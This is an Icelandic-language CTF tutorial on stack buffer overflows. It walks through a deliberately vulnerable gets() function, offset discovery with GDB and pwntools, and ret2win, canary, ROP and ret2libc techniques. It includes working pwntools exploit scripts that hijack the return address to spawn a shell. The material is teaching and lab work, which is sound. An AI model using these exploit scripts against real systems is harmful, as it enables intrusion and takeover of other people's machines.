Yfirflæðisárásir
Forsendur (e. prerequisites): Assembly, Minnislíkan, ELF snið, GDB
Hvað er buffer overflow?
Buffer overflow (biðminnisyfirflæði) á sér stað þegar forrit les inn fleiri gögn en rúmast í biðminnið sem er úthlutað fyrir þau. Gögnin sem umfram eru yfirskrifa nærliggjandi minnissvæði.
void vulnerable() {
char buf[64]; // 64 bætum úthlutað
gets(buf); // gets() þekkir engin mörk, les þar til \n eða EOF
}
Minnisútlit (e. memory layout) á stafla:
┌──────────────┐ ← Hærra vistfang
│ return addr │ ← 8 bæti — ÞETTA viljum við yfirskrifa
├──────────────┤
│ saved rbp │ ← 8 bæti
├──────────────┤
│ │
│ buf[64] │ ← 64 bæti — inntak fer hingað
│ │
└──────────────┘ ← Lægra vistfang (rsp)
Ef við sendum inn 64 + 8 + 8 = 80 bæti, og síðan 8 bæta skilavistfang, þá erum við komin inn!
Að finna offset
Við þurfum að vita hversu mörg bæti við þurfum áður en við náum return address.
Aðferð 1: Handvirkt með GDB
gdb ./challenge
b *vulnerable+50 # Stöðvunarmark rétt fyrir ret
r <<< $(python3 -c "print('A'*64 + 'B'*8 + 'C'*8)")
# Skoðum hvað er á rsp þegar ret er keyrt:
x/gx $rsp
# Ef við sjáum 0x4343434343434343 ('CCCCCCCC'), er offset 64+8 = 72
Stöðvunarmark er sett rétt fyrir ret skipunina.
Aðferð 2: Cyclic pattern með pwntools
from pwn import *
# Búa til mynstur (e. cyclic pattern) - engar endurtekningar
pattern = cyclic(200)
# ... senda inn í forritið, fá segfault, skoða gildi í rsp ...
offset = cyclic_find(0x6161616261616161) # Gildið sem var í rsp
print(offset) # t.d. 72
Ef forritið hrynur með Segfault getum við séð nákvæmlega hvar það gerðist.
ret2win (Einfaldasta overflow)
Í ret2win verkefnum er alltaf "win" fall sem við þurfum að kalla á:
void win() {
system("/bin/sh"); // eða: print_flag()
}
void vulnerable() {
char buf[64];
gets(buf);
}
Lausn með pwntools
from pwn import *
# Tengist ferlinu (e. process)
p = process('./challenge')
# Eða yfir net: p = remote('chall.ctf.example', 1337)
elf = ELF('./challenge')
offset = 72 # bæti þar til skilavistfangs
win_addr = elf.symbols['win'] # vistfang win fallsins
payload = b'A' * offset # Fylla biðminnið
payload += p64(win_addr) # Yfirskrifa return address
p.sendline(payload)
p.interactive() # Gefur okkur shell
p64() og p32()
Stack Canary
Ef checksec sýnir Stack: Canary found, þá er slembitala (canary) sett á stafla rétt fyrir return address. Þegar fall endar athugar forritið hvort talan (canary) sé óbreytt.
┌──────────────┐
│ return addr │
├──────────────┤
│ saved rbp │
├──────────────┤
│ CANARY │ ← Ef þetta breytist → SIGABRT (crash)
├──────────────┤
│ buf[64] │
└──────────────┘
Til að fara framhjá canary þarftu: 1. Leka (e. leak) canary gildið (t.d. með format string eða partial overflow) 2. Setja rétta canary í payloadinn þinn
ROP (Return Oriented Programming)
Þegar NX er virkt (stafli er ekki keyranlegur), getum við ekki sett shellcode á stafla. Í staðinn notum við ROP (Return Oriented Programming).
ROP notfærir sér lítil smalamálsbrot (e. gadgets) sem eru þegar til í forritinu, hvert brot endar á ret.
ROP gadgets
; Dæmi um gadget:
pop rdi ; les gildi af stafla inn í rdi
ret ; hoppar þangað sem rsp bendir á
ROPgadget tólið
ROPgadget --binary ./challenge | grep "pop rdi"
# 0x00401234 : pop rdi ; ret
ret2win með rök (e. arguments)
Ef win() tekur frumbreytu (e. argument), þurfum við að setja rétt gildi í rdi (1. frumbreytu):
from pwn import *
p = process('./challenge')
elf = ELF('./challenge')
offset = 72
pop_rdi = 0x401234 # vistfang: pop rdi; ret
win_addr = elf.sym['win']
payload = b'A' * offset
payload += p64(pop_rdi) # Setur næsta gildi í rdi
payload += p64(0xdeadbeef) # Frumbreytan sem win() þarf
payload += p64(win_addr)
p.sendline(payload)
p.interactive()
ret2libc
Þegar forritið hefur ekki "win" fall, kallum við beint á system("/bin/sh") úr libc.
Við þurfum:
1. vistfang system() í libc
2. vistfang strengsins "/bin/sh" í libc
3. Fá libc base address (ef ASLR/PIE er virkt), sjá libc
from pwn import *
p = process('./challenge')
elf = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset = 72
pop_rdi = 0x401234
ret_gadget = 0x401235 # Stundum þarf "ret" til að stilla stack alignment
# Ef engin PIE: elf.plt['puts'] er þekkt
# Annars þarf libc leak fyrst
system_addr = libc.sym['system']
binsh_addr = next(libc.search(b'/bin/sh'))
payload = b'A' * offset
payload += p64(ret_gadget) # Stilla 16-byte alignment (krafist af system())
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
block-beta
columns 1
HighAddr["Hærra vistfang (0x7FFFFFFFFFFF)"]
style HighAddr fill:#0f172a,stroke:#334155,color:#cbd5e1
block:StackBlock
columns 1
StackLabel("STAFLI (e. STACK)")
StackDesc("Staðværar breytur, return addresses, saved registers")
DownArrow("⬇ Vex niður á við (rsp minnkar)")
end
style StackBlock fill:#4c1d95,stroke:#a78bfa,color:#ffffff
Unallocated("Óúthlutað svæði")
style Unallocated fill:#18181b,stroke:#52525b,stroke-dasharray: 5 5,color:#a1a1aa
block:HeapBlock
columns 1
UpArrow("⬆ Vex upp á við")
HeapLabel("HRÚGA (e. HEAP)")
HeapDesc("Kvikt minni (malloc/brk)")
end
style HeapBlock fill:#1e3a8a,stroke:#60a5fa,color:#ffffff
BSS(".bss — Ófrumstilltar altækar breytur")
style BSS fill:#27272a,stroke:#52525b,color:#e4e4e7
Data(".data — Frumstilltar altækar breytur")
style Data fill:#064e3b,stroke:#34d399,color:#ffffff
Text(".text — Keyranlegur kóði")
style Text fill:#7f1d1d,stroke:#f87171,color:#ffffff
LowAddr["Lægra vistfang (0x000000000000)"]
style LowAddr fill:#0f172a,stroke:#334155,color:#cbd5e1
Gátlisti fyrir overflow verkefni
- [ ] Keyra
checksec: hvaða verndir eru virkar? - [ ] Finna viðkvæmt fall (e. vulnerable function) í Ghidra (
gets,strcpy,scanf("%s")) - [ ] Finna offset með cyclic pattern eða handvirkt
- [ ] Finna markvistfang (win fall, ROP gadget, o.s.frv.)
- [ ] Skrifa pwntools nýtingarkóða (e. exploit)
- [ ] Prófa á local, síðan nota
remote()á CTF server